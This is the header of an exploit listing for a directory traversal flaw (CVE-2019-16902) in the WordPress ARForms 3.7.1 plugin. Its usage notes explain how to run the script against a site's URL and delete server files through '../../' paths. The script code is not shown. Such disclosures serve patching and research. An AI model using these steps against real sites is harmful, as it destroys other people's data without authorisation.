3f96d0c2627b01ec79ccb7591a33a60b# Exploit Title: WordPress Arforms 3.7.1 - Directory Traversal
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1
# CVE ID: CVE-2019-16902
#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on
# There is a request file with this Script make sure to put it in the same folder.
